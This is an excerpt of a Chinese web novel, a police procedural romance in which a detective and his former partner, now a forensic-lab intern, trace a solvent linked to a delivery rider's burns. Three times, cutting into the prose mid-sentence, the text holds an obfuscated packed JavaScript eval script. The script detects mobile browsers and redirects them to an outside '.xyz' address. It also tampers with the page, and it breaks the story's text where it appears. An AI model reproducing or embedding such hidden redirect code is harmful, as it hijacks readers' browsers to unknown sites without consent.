GC-MS(气相色谱-质谱联用仪)分析时,检测到了M酮的特征碎片离子峰,结合其保留时间,推断衣物残片上存有M酮。” 罗乐把报告轻轻合上,抬眼看向刘瑞:“一般什么地方会有这种东西?” “生产油漆、涂料、黏合剂的工厂最常见,也会被用作清洗剂,去除顽固残留和油脂,印刷行业常用它来清理油墨。” “另外可能就是一些实验室。”刘瑞的手指随着他说话的节奏,在桌面上一下一下轻敲。 罗乐耐着性子看他慢悠悠地打完拍子,又问:“这些地方听起来都不像一个外卖员会去的。有没有可能,他帮人送这玩意儿,然后沾上了?” “不太可能。”刘瑞推了一把鼻梁上的无框眼镜:“M酮属于危化品,生产、经营、运输各个环节都有要求,不可能会让外卖员送。” “当然我指的是正常情况下不可能。” 罗乐把报告夹在手里,冲刘瑞和陈建平点了点头:“辛苦,先走一步。” 从技侦实验室出来,他没等电梯,顺着楼梯一路小跑到一楼。大堂人来人往,脚步声混杂,身后的大屏幕正循环播放着新换的宣传短片。 快到门口时,罗乐顿住了脚步。 迎面走来一个人,他穿着一件白色的宽松衬衫,肩背挺直、步伐轻盈,把人来人往的大厅都衬成了模糊的背景。 罗乐像被钉住一样站在原地,脑子里一片空白,甚至来不及去想“为什么会是在这里”。 这不是做梦,也不是夜里反复闪回的记忆。 是他…… 两年零九个月,一共一千零五天,他再一次、真实地站在自己面前,近在咫尺。 罗乐定定地看着他,比记忆里更高些,五官依旧清隽漂亮,杏色休闲裤随意卷着边,衬衫上的刺绣隐隐可见,还是那么臭美…… 那人也看见了他,四目相对的瞬间,罗乐的心在胸腔里“砰砰”震动,每一下都在提醒他—— 还爱。 相隔不过数米,此时本该微笑着走过去,说一句“好久不见”,自然得像所有成年人体面告别后的重逢。 但罗乐一句话都说不出来,连呼吸都不敢太用力,胸口翻涌的酸涩和热意混成一团,几乎要把他整个儿淹没。 不知过了多久,他终于艰涩地吐出一句:“你是……来找我的吗?” 陶律夏停顿了一会儿,淡淡地开口:“不是。” 罗乐迎上他的目光,嘴角浮着一丝苦涩的笑:“时间差这么长,快三年没见,还学会撒谎了……” “时间差?那你破案的方式也太不科学了。”陶律夏偏过头,停顿了一下,“我来这里实习。” “……你来哪儿实习!?”这句话,比他突然出现还让罗乐震惊。 “我在技侦实验室实习,已经十天了,你这个……”陶律夏瞥了眼罗乐手里的报告—— “GC-MS 检测部分,我做的。” 罗乐怔怔地看着他,一时间没能消化。 “怎么了?”陶律夏把一只手插进口袋,神情不甚在意,“我本来就是学化学的,来这儿实习不奇怪吧?我先去工作了。” “等一下!”罗乐下意识伸手,一把抓住他的手腕。 陶律夏偏过头,用眼神示意他:这里是大厅。 罗乐却怕他跑了似的,抓得更紧了,他深吸了口气,努力让声音听起来平稳:“好久不见,去喝杯咖啡好吗?” 陶律夏仰头看他:“现在可是上班时间,罗警官打算去哪里喝咖啡?” “去我办公室喝。”罗乐抬起另一只手,把那份报告在他眼前晃了晃。 “这个报告,有些地方我看不懂,你给我讲讲。”说着,他就拉着人往侧门走。 陶律夏刚要抽手,却被他凶狠的眼神压制住:“赶紧走!这可是杀人案!不是你的小论文!” “……” 刑警队在老楼二层,陶律夏跟着罗乐进了一间四人共用的办公室,靠窗,采光很好,地面擦得干干净净。 罗乐拉了张椅子放到自己办公桌前,示意他坐下,便转身去烧水。 陶律夏环顾了一圈,目光落在他的办公桌上。 文件码得整整齐齐,笔筒里插着水性笔、马克笔、颜色各异的荧光笔,笔帽上沾着隐约的墨印,看得出使用频率极高。 桌子左边摆着一个收纳架,茶包、咖啡、零食、餐具分门别类地放着,最上层是几株空气凤梨,铁兰、小精灵,还有美杜莎…… 右边是一排书,书脊略显磨损,技侦化学占了大半,间或夹着犯罪心理、博物学、电子信息,甚至还有一本雅思听力练习题。 陶律夏看着他的背影,眼底忽然涌起一层湿意。 明明已经在脑海里预演过无数次,在这个院子里与他重逢的场景,可真正看见他的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228594|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,到现在八分钟过去了,自己的心率依旧没有恢复到静息状态。 水流落在咖啡粉层上,发出噗噗的声响,与他每分钟九十八次的心跳声叠加在一起,构成一支属于两个人的节奏短歌。 陶律夏忽然就找回了那个丢失已久的频道,舒适,安稳,带着久违的喜悦。 见到他,才能找回来的东西…… 是自己的心吗? 陶律夏垂下眼,按捺住体内一连串紊乱的信号,问:“你不是有问题吗?问吧。” 罗乐将咖啡递到他手边:“根据报告里显示的作案手法,你觉得凶手会是什么样的人?” 陶律夏接过杯子,轻轻吹了吹说:“我以为你要问我检测部分的细节,分析凶手难道不应该是你的工作吗?” “啧……”罗乐唇角一挑,偏过头看他,“才来几天,怎么说话就带着一股技侦味?” 咖啡微酸,风味明快,带着隐隐的花香,陶律夏咽下一口,缓缓开口:“如果你真要我说一些个人看法,我觉得凶手至少得懂些化学。” 罗乐点点头:“还有呢?” 陶律夏目光略略一收:“M酮挥发性极强,即使将它和其他物质混合,也可以先把受害者接触到它的时间缩短到案发当天。” “他是个外卖员。”罗乐接道,“即使一天,也得三五十单,接触链不少。” “结合案发时间从后往前倒查,M酮不太可能长时间在衣物上保留,重点留意有没有工厂和实验室。“陶律夏顿了顿,又补了一句:“如果需要帮忙,就告诉我。” 风把桌上的打印纸掀落到地上,罗乐弯腰捡起,拿起一本书压在上面。 春天总是这样,明明气温还不算高,却总能带来让人心头一热的风。他掩住翻涌的情绪问陶律夏:“你这是……帮我?还是纯义务加班?” “推翻或验证推论,本来就是科学研究的责任。” 两人正说着话,门口传来一阵脚步声,李达坤走了进来。 “谈工作呢?”李达坤扫了一眼屋里的两人。 “刑侦队队长,李达坤。”罗乐介绍完,侧头看向陶律夏,笑了一下说:“技侦实验室的……陶老师。” 陶律夏站起身,礼貌地朝李达坤点头:“李队长你好,我叫陶律夏,现在在技侦实验室实习。” 听见这个名字,李达坤的目光凝了两秒,但很快收了回去,若无其事地点了点头:“嗯,好。” “那我先回实验室了,报告部分有问题再联系。”陶律夏将咖啡饮尽,同二人点头告别,转身离开了办公室。 等人走远了,李达坤拉了把椅子坐下,语气有些冷:“以后你别找这少爷帮忙查案。” “少爷?”罗乐声音里透出不悦,“李队长,你干嘛一见面就给别人乱贴标签?” “你不知道?你们不是认识吗?”李达坤哼了一声。 “这小孩儿,腾凌涛的外甥。” “腾凌涛是谁?”罗乐问。 “启梦游戏的老板,京北网游圈儿有名的才俊,现在还做智能硬件,海中区重点归国人才。”李达坤边说边从桌上的零食盒里挑了颗椰子糖,剥开扔嘴里。 “腾凌涛托我爸约我两次,我都没去。但他意思带到了,让我不要带这少爷出任何现场。” “你别把他掺和进案子里,这种富二代一时兴起,来这儿体验体验生活就走了。” “我可不是怵事儿,纯粹懒得惹麻烦。”李达坤啧了一声。 罗乐低头在便利贴上写了几行字,把它贴进报告页内,抬头看向李达坤:“他上高中那会,我就认识他了。” “人聪明、上进、有责任心,做事一丝不苟,不是你说的少爷。” “唉,我说——”李达坤板起脸,刚要打断。 罗乐已经收好报告,补了一句:“不过有一点,我和李队你观点一致。” “我不会让他有危险。” 58.又逢春日 晚上,李达坤夹着炒河粉吃得正香,忽然发现办公室的另外两个人,今天都没点外卖。 苗川破天荒地泡了一碗方便面,罗乐更绝,左手攥着根香蕉,右手在牛肉干袋子里翻来翻去,捞一块嚼两口,再咬一口香蕉。 “你俩这是干啥?这是什么搭配啊?”李达坤又夹了一口粉。 苗川吸溜了一口面,蔫声蔫气:“看完了外勤探组调来的送餐记录,被恶心到了。” “我让你查裴晓冬的社会关系,你盯着送餐记录干嘛?”李达坤皱起眉。 “我也很后悔……”苗川叹了口,“本来想着给自己点夜宵找找灵感,结果一看,啧……” “怎么的?”李达坤瞟了苗川一眼。 “原来咱们这片的外卖,好多都是料理包搁微波炉里一热就端出来,好不容易碰上一家现炒的,结果厨房就在厕所隔壁……” “还是我经常点的那家!看完那照片,差点没恶心死,谁能想到我最爱的那个小炒肉,是伴着氨气味一起炒出来的……”苗川神情复杂。 “呸。”李达坤放下筷子骂道,“你们这帮人,查案还能整出饮食洁癖来,哪那么多事儿!” “这不是洁癖,是求生欲。”罗乐把香蕉皮扔进了垃圾桶。 李达坤重新拿起筷子,把河粉卷成一小团,送进嘴里,“有下一步的追查重点吗?” “有。”罗乐抽出几支彩色水笔,走到白板前,“裴晓冬案发当日,一共取送了35个订单。” “送餐点集中在中山路一带,写字楼和研究所居多,取餐点的范围稍微大一点。”罗乐边说边在白板上画起简易方位图。 “东到科翔路,西到东升桥。”他换了支黑色水笔把几个关键地点一笔一划地标了出来。 李达坤不动声色地看着罗乐在白板前忙活。 三年前,这小子在公园里给鸟窝做数据化管理。现在他随手画图,符号、框线、配色……整得像模像样,信息可视化也给他玩明白了。 略微显摆,但架不住确实清楚。李达坤嚼着河粉,继续听介绍。 “写字楼和研究所,大多不能送餐上门,外卖员会把餐放在门口的货架或餐柜。”罗乐继续在图上标点。 “裴晓冬当天只和五个顾客有过直接接触,其中可疑的是这两个订单——” “当天裴晓冬的最后一单,送餐到东升桥的汽修店”罗乐在白板上贴了张照片。 “另一个是个跑腿订单,当天下午从科翔路的化学研究所取了束花,送到中山路融汇大厦。根据监控,收花人签收时和裴晓冬发生过短暂拉扯。” “化学研究所?”李达坤放下筷子。 “对。”罗乐点点头,指节敲了敲白板上的标记,“符合技侦分析的,可能存有M酮的场所。” “至于商家那边,裴晓冬几乎都是直进直出,取完餐就走,停留时间不超过半分钟。” “有两家店面没装监控,但都是明火现炒的小作坊,厨房狭小,存放M酮这种极易燃的化学物品,无异于自杀。不太符合作案条件。” 苗川听到这儿,接过话茬:“其中一家,就是厕所隔壁那家小炒店。我已经把它发到市局生活群了,提醒兄弟们好自为之。” “我自己这辈子是不会再点了……除非失忆。” 李达坤放下筷子,抽了张纸巾擦了擦嘴角,抬头问:“还有其他可疑线索吗?” “有,”罗乐翻出一张照片贴在白板上。画面里,一个中年男子和裴晓冬站在一辆白色轿车旁。 “这个人不在裴晓冬的送餐订单里,但案发当天,两个人发生过冲突。” 他顿了顿:“下午14点30分,裴晓冬在楼下等客户取餐,这辆车倒车,轧到了他的脚。监控拍下了争执画面,裴晓冬当场拍了车牌号,但没有报警。” “等等!”苗川打断,“脚都被轧了,这裴晓冬还能接着送餐?” 罗乐:“我查过资料,普通轿车一吨多,轮胎接触地面大概200平方厘米左右,脚背面积比这略小。” “换算下来,脚背承压约两百公斤左右。疼肯定是疼,但多数情况下属于皮外伤,骨头不会断,不影响走路。” 李达坤往椅背一靠,语气沉了些:“外卖员赚的是辛苦钱,忙着送餐,哪有时间和力气维权。” “我把那段监控从头到尾看了一遍,这起事故倾向偶发。”罗乐换上红色马克笔,在照片旁边画了个圈,“这条线索,先挂着。” 李达坤点点头,把外卖盒扔进垃圾桶,安排道:“裴晓冬有案底,做过两年牢。苗川,你继续查他的社会关系,看有没有仇怨线。“ “小罗——” “我盯这两个人,化学所和汽修店。”罗乐接过话。 第二天上午,融汇大厦门口。 樊晶晶伸手将发丝别到耳后,眼神里带着点戒备:“警官,找我有什么事?” 她穿着宽松T恤配瑜伽裤,头发扎成松散的马尾,看起来不像是上班,倒像是刚从健身房出来。 “了解点情况。”罗乐也没绕弯,直接切入正题,“3月28号下午,你收过一束花,对吧?” 樊晶晶脸色一沉,眼底闪过一丝厌意,“徐子航?他又干什么了?他难道报警了?他胡说八道了什么?” “别误会,只是例行调查。”罗乐翻开笔记本,“那天,徐子航下了个跑腿订单送花,想给你惊喜,你拒收了?” “惊喜?”樊晶晶像被戳到痛点,语速不自觉快起来:“分手都快半年了,还是不消停,送什么花?“ “那天是我的生日,心情本来挺好,全让他搅没了。” 罗乐翻回记录页,低声问:”监控画面显示你和送花的外卖员有过争执,能说说当时的情况吗?” “那天我正着急写稿,忽然接到一个电话,说有花送到楼下,我还以为是客户送的,结果下楼一看,原来是徐子航!” “我火气一下子上来了,直接拒签。” “可那个外卖员特别轴,非说‘必须本人签收’,一来二去……我就烦了,推了他一下。” 说到这里,她微微顿了一下:“花掉在地上,他捡起来还要塞给我。我懒得吵,就收下扔垃圾桶了。” 罗乐盯着她问:“就只是推了一下?” 樊晶晶眼神游移,手指又去拨耳侧的发丝:“是啊,就推了一下,他、他怎么了?” “他当晚在街边烧纸,引发火灾,重度烧伤。”罗乐不动声色道。 “烧伤?” 樊晶晶愣住了,嘴唇微张,像是没反应过来,隔了一会才喃喃道:“这……这跟我有什么关系?我,我又没做什么……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246397|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 仅停顿了一会,她便换上一副冷淡的表情,语气也强硬起来:“警官,你是在怀疑我吗?” “没说和你有关。”罗乐神色淡淡,“徐子航经常骚扰你?除了送花,还有没有其他过激行为?” 樊晶晶轻哼了一声:“大雨天跑到我家楼下演苦情戏自我感动,结果被邻居当成笑话看了个遍。这算过激吗?” “徐子航在化学所是做什么的,你知道吗?”罗乐又问。 “不太清楚……”樊晶晶撇了撇嘴,“反正就是实验室里那些打下手的活儿。” “那你觉得——”罗乐声音放缓,“他有没有可能,为了报复你,在那束花的包装上做点手脚?” “什么手脚?” “比如加点化学溶剂,让花变得容易燃烧。” 樊晶晶的神色从短暂的震惊变得复杂,接着她坚定摇头:“不可能!他那人吵架都说不出几句硬话,烦是有些烦,但杀人放火……” 她看着罗乐,一字一顿道:“他绝对没那个胆子。” “而且......我相信他不会害我。” 问完樊晶晶,罗乐回到车上,刚准备开去化学所,他忽然眉头一动,随即掉头开回了局里。 进院直奔技侦实验室,敲门进去,没多寒暄,就直切重点:“刘博士,我要去化学所问话,我想——” “辛苦你们这位实习生,陪我去一趟,以防我被对方的术语绕晕。” 刘瑞推了推眼镜,看了罗乐一眼:“你现在都能在刑警学院的学报上发应用论文了,还需要实习生给你翻译?” 罗乐刚要回嘴,话还没蹦出来,就见陶律夏站起身,径直走到打印机前。 机器“嗡嗡”地吐出一沓打印纸,他整齐叠好,敲齐边角,走到了刘瑞面前。 “您昨天交给我的任务都做完了,结论部分也写好了。如果下午没有新的工作安排,我可以配合出警。” 刘瑞翻了几页,这活儿他预留了两天,结果这个刚来没几天的实习生,半天就干完了,内容完整、格式标准,完全符合他的要求。 他抬起头,看着陶律夏那张礼貌得体的脸,又瞥向了罗乐—— 一身正气之余,竟有些“国家需要我,而我需要他”的理直气壮。 这份默契配合的节奏,让刘瑞心头生出一种奇怪的错觉:要是此刻阻拦,他就是在耽误办案、拖慢进度,甚至阻碍社会正义。 “去吧。”刘瑞冲着陶律夏点点头。 说罢他看向罗乐:“案子破了,你们刑警队可欠我们技侦一个劳模奖。” “我请刘博士全组喝一个星期咖啡。”罗乐爽快应下。 警车驶出院子,陶律夏坐在副驾,安静地翻着资料。 罗乐握着方向盘,一路上都在想该说点什么。问案情也好,聊闲话也行,可嗓子动了几次,却一个字都没说出口。 下了车,两人并肩往所里走。 老楼的外墙爬满了爬山虎的褐色藤蔓,枝蔓间冒出几撮新芽,在午后的日光下泛着浅浅的绿意。 风还带着几分凉意,可罗乐的胸口却像被什么烫着,那些压抑许久的情绪快要溢出心口。 花谢了不重要,不说话也没关系,甚至不必着急确认那场分别的来龙去脉。只要能这样与他走在春天,就已经足够幸福了…… 59.彩虹玫瑰 一个年轻男子从科研楼走了出来,他穿了一件浅蓝色的衬衫,袖口卷过手肘,露出一截瘦削的小臂。 “徐子航?”罗乐迎了上去,“刑侦支队的,有点事找你聊聊。” 徐子航听完来意,愣了几秒:“我送束花能有什么问题?送花还违法吗?” “那你解释解释。”罗乐稍稍倾身,抬起下巴。 “为什么不直接从花店下单送过去?非要自己买,再叫外卖员来你这儿取。岂不是多此一举?” “因为那是我特意给她准备的彩虹玫瑰。”徐子航扶了把鼻梁上的眼镜。 “彩虹玫瑰?”罗乐重复了一遍。 “对,我自己做的。”说到这,徐子航不自觉地挺直了腰背。 “怎么做?”罗乐问。 “把花茎纵向剪开,分别插进装色素的试管里。” 徐子航停了一下,解释道:“等到色素渗透到花瓣,整朵花就会呈现渐变的彩虹色,这是……” “等会等会儿!”罗乐抬手打断,“剪开是从哪剪?” “从底部斜剪,分两到三股,剪上三到五厘米吧。” “要多久能上色?”罗乐又问。 “呃……看花的状态,一般一到两天就能出来。” “是用白玫瑰吗?” “最好用玉玫瑰,”徐子航说,“白玫瑰可能也行,但杆子必须得长一点,吸色效果才好。” 陶律夏在一边看着罗乐和嫌疑人讨论起了毛细现象。 这些天听了不少关于他的「传说」,审人时总爱科普,常把问话聊得像课堂。原以为那是他人的调侃,现在却亲眼得见:他在嫌疑人面前展现出近乎迫切的求知欲。 以前的他,不是这样的…… 那些爱情留下的痕迹经由时间打磨,在他本就认真上进的底色上显露出更迷人的表象,其中还映着一些自己的影子。 这点微妙却清晰的存在感让陶律夏生出近乎荒唐的确信:他们早已成为彼此生命的一部分。 但现在显然不是思考爱情存在的时候。 “徐子航。”陶律夏开口打断了两人的对话,“我们刚才看了你的领用记录,3月26号你领了500毫升分析纯M酮。” “对。”徐子航点了点头。 “500毫升都用完了吗?”陶律夏问。 “基本上。” “基本上?”陶律夏看着他,不带任何情绪,“那就是有余量?剩下的去哪了?回收了吗?” “当成废液处理了。”徐子航回。 “处理了?”罗乐接过话头,漫不经心地开口:“怎么处理的?被你顺便加到花的包装上了?” “警官!”徐子航的声音猛地拔高,“M酮是危险化学品,我怎么会加到花上?” “你没加?”罗乐哼笑一声,眼神冷冷地扫过去,“可我们在替你送花的外卖员的衣服上检测到了M酮,而你,刚好才用过。” “难道就这么巧?!” 徐子航愣住了,他微张着嘴,脸色煞白:“什……什么?外卖员身上沾到了M酮……” “不但粘到了M酮,”罗乐收起笑容,语气骤冷,“给你送花当天晚上,他还被火烧成了重伤。” “这……不可能,我下午送的花,到晚上早该挥发干净了……”徐子航像被这句话吓住了,声音开始发颤。 “哦?”罗乐眯起眼睛,语气带着点生硬的戏谑,“你这是承认动过手脚了?” “不、不不!不是!”徐子航连连摆手,神情慌乱地解释:“我的意思是——不是我干的!M酮挥发非常快,要是我动了手脚,也不可能保留到晚上……” “M酮挥发确实很快,但也要看浓度、环境温度,还有它附着的材质。请你配合提供当日的实验记录、废液处理单。另外……”陶律夏顿了下,“案发当日你在实验室时有其他人在场吗?“ “不同时段人不一样,但都有人。”徐子航答。 “请把名字写下来,如有需要,我们会和他们做访谈。“陶律夏将笔记本递到徐子航面前。徐子航手指僵硬地蜷起,声音有些发干:“这些一定要查吗?” “配合调查是必要程序,也能尽快排除你的嫌疑,这位警官——”陶律夏说着看了眼罗乐,“可以和相关人员打个招呼,告诉他们只是常规排查。” 罗乐原本已经到了想拍桌催人的程度,可在陶律夏那一眼示意下,他硬生生把“别磨蹭!”咽了回去,换上近乎客气的语气。 “我们尽快。” 实验室的监控录像调了出来,画面里徐子航反复在操作台和试剂架之间来回。播放快进到中午时段,罗乐盯着屏幕,手指一顿:“你一个人?刚才不是说不同时段都有人和你一起吗?” “他们去吃午饭了,我做了一点最后的实验收尾。”徐子航支吾道。 “这儿,你拿的是什么?”罗乐问。 “我……”徐子航支支吾吾半天都没答,结果下一镜画面又出现了玫瑰花。 “这就是你所谓的‘最后一点实验收尾’?”罗乐盯住徐子航:“你往花上加什么呢?” “乙醇固定液。” 罗乐眉头一锁,眼底写满怀疑:“不是M酮?” “他拿的那只是透明塑料瓶,M酮一般存放在棕色试剂瓶里。”陶律夏说完便朝一边走去。 “对、对!而且棕瓶上还有危险品标签,不会混的。”徐子航急切附和,像是怕慢一步就要被扣上罪名。 罗乐冷不丁靠近一步:“没做亏心事,你慌什么?” 徐子航:“……” “我确实在实验室处理过玫瑰花,不是课题内容,要是让组长知道算违规。警官,你能不能……” 罗乐摆摆手:“你在实验室做玫瑰花还是鲜花饼,我都没兴趣。只要没查出你牵涉案子,实验室的规矩不归我管。” 说完,他撕下一张便签刷刷写了个邮箱,递给徐子航:“既然你自己提了,留个底。回头把那花的实验步骤写清楚发我邮箱,算补充佐证。” “这……这能算佐证?”徐子航迟疑着问。 罗乐抬起眼皮,嗓音一压:“你怎么这么多话?我说算,它就算。” 两人说话的工夫,陶律夏走过来,将相机里的照片拿给罗乐看:“废液处理的台账和实验记录都能对上。” 两人离开科技园区时,接近傍晚,路边的小推车出摊了,风自街边穿过,卷来一股浓郁的烧烤味。 陶律夏:“实验室监控还是有盲点,建议去处理危废液的公司调单复核,危废桶上有编号,做个残留检测确认一下。” “成,我明天去看看。”罗乐点头。 “后来你和徐子航聊什么呢?”陶律夏问。 “随便套几句,问他搞科研有没有意思。”罗乐把手插兜,漫不经心地踢开脚边一块小石子。石子在地面滚了几圈,咕噜一声没入路边的草丛。 “你呢?和搞科研相比,在技侦待着有意思吗?”罗乐问。 “有没有意思并不是我评价工作的标准。” “那你的标准是什么?”罗乐问。 陶律夏脚步一顿,略微垂眸:“时间能否被转为价值。” “那你在技侦找到价值了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259607|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”罗乐又问。 “嗯,”陶律夏看向前方,夕阳缓缓沉落,霞光将天色晕染成一片橘金。他转过头看着罗乐:“它让我确认,在人性与混乱交织的案件里,依然存在绝对准确的部分。 绝对准确…… 这家伙怎么总能说出这种话?以前,他说的话让罗乐觉得“自己挺靠谱”;而现在,他甚至让人觉得,世界都靠谱了一些。 车钥匙一按,远处的车灯闪了两下,罗乐转头问:“回家还是去哪儿?我先送你。” “你还要去哪儿?”陶律夏拉开副驾的门坐进车里。 “汽修店,裴晓冬送的最后一单,我得去看看。”罗乐说着启动车子。 “汽修店不需要我去?”陶律夏问。 “嗯。”罗乐双手握住方向盘,偏头瞥了眼后视镜,倒车出库,“那边可能……不太安全。” “徐子航这边就没危险吗?”陶律夏问。 罗乐唇角一动,像是在笑:“来之前,我预判不太有。” “我回家。这个案子还需要我做什么?”陶律夏稍微坐直。 “随时给我提供科学指导。”罗乐一点都没客气。陶律夏低头轻笑:“你不是市局最懂科学的刑警吗?还用我指导?” 罗乐斜了他一眼:“谁跟你说的?他们那是拿我打趣呢。” “在刑警学院的学报上发论文也是打趣吗?写的什么?”陶律夏问。 “最近一篇写的是审讯中的心理博弈。” “你不会真靠「说谎的时间差」发论文呢吧?”陶律夏面露疑惑。 “哥没那么水。”罗乐哼了声,“还有眼动、微表情、语调、语速分析……全套的。” “这些东西,实战里真能用上?” 红灯亮起,罗乐轻踩刹车,停稳后偏过头笑道:“要不要试试?” “怎么试?”陶律夏转过脸。 罗乐看着他,眼底那股热意几乎要溢出来:“你是来……找我的吗?” “你的推论方法滥用得毫无伦理。”陶律夏别过头。 “延迟回复两秒半,视线回避,语速还比刚才快了至少15%。”罗乐笑了起来。 陶律夏瞪了他一眼:“罗警官,你平时就是这么审人的?” “有兴趣可以来旁听。”罗乐单手搭在方向盘上,笑得愈发得意,“我有时候,也会讲点……科学。” 红灯转绿,车子驶过环岛酒店,粉紫色的灯光打在门口的晚樱上。车载音乐缓缓铺展,人声温柔、弦乐轻巧,心跳声混在节拍里——“Gone away then back again,Every sign I see is you ……” 一曲终了,车子正好停在陶律夏家公寓楼下,他解开安全带问:“可以等我一下吗?” 罗乐嗯了一声,目送他推门下车穿过夜色走进便利店。玻璃门开开合合,没多久,就看见陶律夏拎着一个塑料袋走了出来。 陶律夏顺着车窗把塑料袋放到副驾驶上,问:“明后天是周末,你是不是……还要忙案子?” 罗乐愣了一瞬,然后嘴角就怎么都压不住了:“根据你刚才语调的重音变化,我是不是可以下个结论……” “什么结论?” “你在约我?”罗乐盯着他,眼神灼灼。 “那从你的微表情来看,此刻你的喜悦值应该是……”陶律夏在话尾轻轻一挑下巴,语调冷淡得近乎傲慢——“爆表。” 表情拽得欠揍,这人到底是哪来的魅魔,连冷着脸都这么顺眼?罗乐望着他,轻笑着点了点头:“完全、正确……” 60.相逢序列 看着陶律夏进了公寓楼,罗乐伸手捞过放在副驾座位上的袋子,打开一看:一个饭团,一瓶乌龙茶,一个溏心蛋,一份沙拉,一盒薄荷糖,还有两个橘子。 他撕开饭团包装咬了一大口,金枪鱼馅料滚着热气,微波炉加热饭团只要十秒,可他以前从没有试过,简直是拯救加班夜晚的灵丹。 罗乐心情大好,指尖一划,切到一张节奏炸裂的电音专辑,伴着重低音的节拍,朝东升桥那家汽修店开去。 停好车,同外勤探组的谭磊一起朝店里走去。卷帘门敞着,中间停着两辆车,一辆刚刚洗完,另一辆架在支撑架上,底盘裸露在外。 “周平?”罗乐朝车边喊了一声,“刑警队的。” 周平转过身,脸上挂着不耐烦:“警官,又有什么事?” 谭磊翻开记录单,一副公事公办的口气:“3月28日晚上21点35分,裴晓冬给你送了一单外卖。餐在哪里交接的?你们有没有直接接触?” “你们上次不是看过监控了吗!”周平扯下手套,重重甩到工作台上,“我让他把餐放那桌上,他走后我才过去拿的,根本没接触!” 周平语气急躁:“他到底怎么了?送完餐就走了,出了啥事可和我无关。” 罗乐瞧着他,笔尖在本子上点了两下:“21点37分裴晓冬离开你这里,八分钟后你又给他打了电话,你找他干什么?” “他把汤洒了,店家说可以给我再做一份,我让他帮我去拿。”周平扬起下巴。 “他去了吗?”罗乐问。 “呵,他不愿意跑,非逼着我给他差评!” 罗乐靠近一步,盯住周平的眼睛:“他不帮你拿,你很生气?” “我当然生气!他把汤洒了一半,难道我还得谢他?”周平回看罗乐,语气里带着几分挑衅。 “不过警官,我可什么都没干!我还能干嘛?难道要追着打他一顿?他到底怎么了?不会真被人打了吧?” 罗乐环顾一圈,工作台上堆着散乱的零件,墙角立着几个塑胶桶和轮胎。 “那些桶里装的是什么?”他边问边走向角落。周平的神情微微一僵,立刻快步跟上:“清洗剂。” 罗乐弯腰看了看,回头盯住他:“是什么清洁剂?为什么有的没标签?” 周平攥着抹布在桶身上胡乱擦了两把:“清洁油污和旧漆面的,全都是一样的。” “一模一样?”罗乐将桶拿起来,微微一掂。 “当然,同一批货,能有什么不一样的?”周平抬高了嗓门。 “同样容量,重量差这么多。”罗乐把最后一桶放回地面,在桶沿上轻轻敲了两下,“这只能说明密度不一样。” 他略一停顿,似笑非笑地抬眼看向周平:“周老板,你不会是被奸商骗了吧?卖给你掺水的货?” 谭磊顺势上前半步:“可以打开吗?我们带一点样本回去化验。” “不行!”周平立刻伸手去挡,“这些都是新的!没开封的货,一旦打开就容易坏。” “警官,你们怀疑我干嘛?我犯什么法了?就算那个外卖员出事,也没在我店里吧?我是配合调查,你们有搜查令吗?你们能随意破坏守法市民的财产吗?” 听完周平连珠炮似的输出,罗乐淡淡一笑,往后退了半步,姿态松弛得近乎客气:“搜查令?还真没申请。” “今天就随便看看,辛苦你配合。”他掸了掸裤腿上的灰,同谭磊走出店面。 第二天夜里。 一辆小货车悄无声息停在路边,几个白色的塑胶桶从车上卸下,桶底磕在地面,发出一声沉闷的”咚“响。 一双手拧开桶盖,略一倾斜,液体顺着桶壁倾泻而下,“咝咝”地渗入砂石地里,晕开一片暗色的湿痕。 等桶里的液体所剩无几,那人提起桶身,手腕一抖,将残余悉数甩出,空桶随即被丢到一旁,接着是第二桶、第三桶…… 液体浸地的声音在夜色里回荡,忽然,黑暗深处亮起一道刺眼的远光,一辆黑车缓缓驶近,轮胎碾过砂石发出细碎的摩擦声,直直地停在那片湿痕前。 罗乐推开车门下去,目光从周平身上掠过,落到地上的空桶:“周老板这么辛苦?大晚上的还跑出来倒东西。” 周平脸色煞白,眼神在空旷的荒地四下乱窜。 “看什么呢?”罗乐嗤笑一声,抬手往警车上一指,“往那儿看——” “高清夜视摄录,全景无死角。” “警、警官,我……”周平声音发虚。 “行了。”罗乐冲他摆摆手,“荒地风大,咱们换个地方聊聊,暖和,有座儿,热水管够。” 周平嘴唇动了动,又把话吞了回去,最终在罗乐的注视下上了车。 陶律夏洗完澡,把头发吹到半干,他调亮床头灯,翻开周五晚上没读完的小说-- 男人:“我猜你是乘坐时间机器来的吧?” 女孩:“是的,我爸爸发明了时光机。” 男人:“你常来这里吗?” 